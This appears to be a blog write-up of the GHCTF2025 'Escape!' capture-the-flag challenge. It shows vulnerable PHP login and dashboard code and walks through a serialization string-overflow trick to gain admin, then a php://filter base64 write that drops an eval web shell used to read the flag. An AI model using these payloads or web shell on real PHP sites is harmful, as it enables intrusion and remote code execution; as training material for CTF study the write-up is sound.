GHCTF2025 Escape! Solution

338 Views
No Comments

A total of 3106 characters, expected to take 8 minutes to complete reading.

Title

GHCTF2025 Escape! Solution

Escape!
Xiao Li wrote a login website, and he added a waf because he was not at ease. however, this waf not only did not make the website safer but also gave hackers a chance.

At the same time gave the source code:

  1. waf.php
<?php

function waf($c)
{$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
    foreach($lists as $list){$c=str_replace($list,"error",$c);
    }
    #echo $c;
    return $c;
}
  1. login.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];

$SQL=new Database();
function login($db,$username,$password)
{$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);

    if(empty($data)){die("<script>alert(' 用户不存在 ')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['password']!==md5($password)){die("<script>alert(' 密码错误 ')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['username']==='admin') {$user = new User($username, true);
    }
    else{$user = new User($username, false);
    }
    return $user;
}

function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {$signature = hash_hmac('sha256', $serializedData, $secretKey);

    $token = base64_encode($serializedData . '|' . $signature);

    setcookie($cookieName, $token, time() + 3600, "/");  // 设置有效期为 1 小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

header("Location: dashboard.php");

?>
  1. dashboard.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
    // 获取 Cookie 内容
    if (isset($_COOKIE[$cookieName])) {$token = $_COOKIE[$cookieName];

        // 解码并分割数据和签名
        $decodedToken = base64_decode($token);
        list($serializedData, $providedSignature) = explode('|', $decodedToken);

        // 重新计算签名
        $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

        // 比较签名是否一致
        if ($calculatedSignature === $providedSignature) {
            // 签名验证通过,返回序列化的数据
            return $serializedData;  // 反序列化数据
        } else {
            // 签名验证失败
            return false;
        }
    }
    return false;  // 如果没有 Cookie
}

// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
    #echo $userData;
    $user=unserialize($userData);
    #var_dump($user);
    if($user->isadmin){$tmp=file_get_contents("tmp/admin.html");

        echo $tmp;

        if($_POST['txt']) {
            $content = '<?php exit; ?>';
        $content .= $_POST['txt'];
        file_put_contents($_POST['filename'], $content);
        }
    }
    else{$tmp=file_get_contents("tmp/admin.html");
        echo $tmp;
        if($_POST['txt']||$_POST['filename']){echo "<h1> 权限不足,写入失败 <h1>";}
    }
} else {echo 'token 验证失败 ';}

Ideas

Open the page and jump login.php Login is required. The user name and password entered are not filtered. See Line 38:

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

Here is the first line Serialization Again WAF of. see againwaf.phpwill replace some keywordserror. For exampleflag Replaceerror, and the length of the string read after serialization remains the same, then there will be a string overflow vulnerability here.

Construct the user name flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}. due to string overflow, then the result after deserializationisadmin Just 1 successfully entered.dashboard.php.

dashboard.phpExistence inside file_put_contents This dangerous function, easy to execute any command. But in 40 lines:

if($_POST['txt']) {
            $content = '<?php exit; ?>';
        $content .= $_POST['txt'];
        file_put_contents($_POST['filename'], $content);
        }

The input here will be preceded <?php exit; ?>, then the code we entered hasn't been executed yetexit You can use? base64 coding to bypass.

The input file name isphp://filter/write=convert.base64-decode/resource=shell.php, the file content is<?php eval($_POST['a']);?>, but we want to enter the encodedaPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=This was successfully bypassed.

Finally directly POST Content cat /flag You can.

END
 0
Comment(No Comments)
验证码
en_USEnglish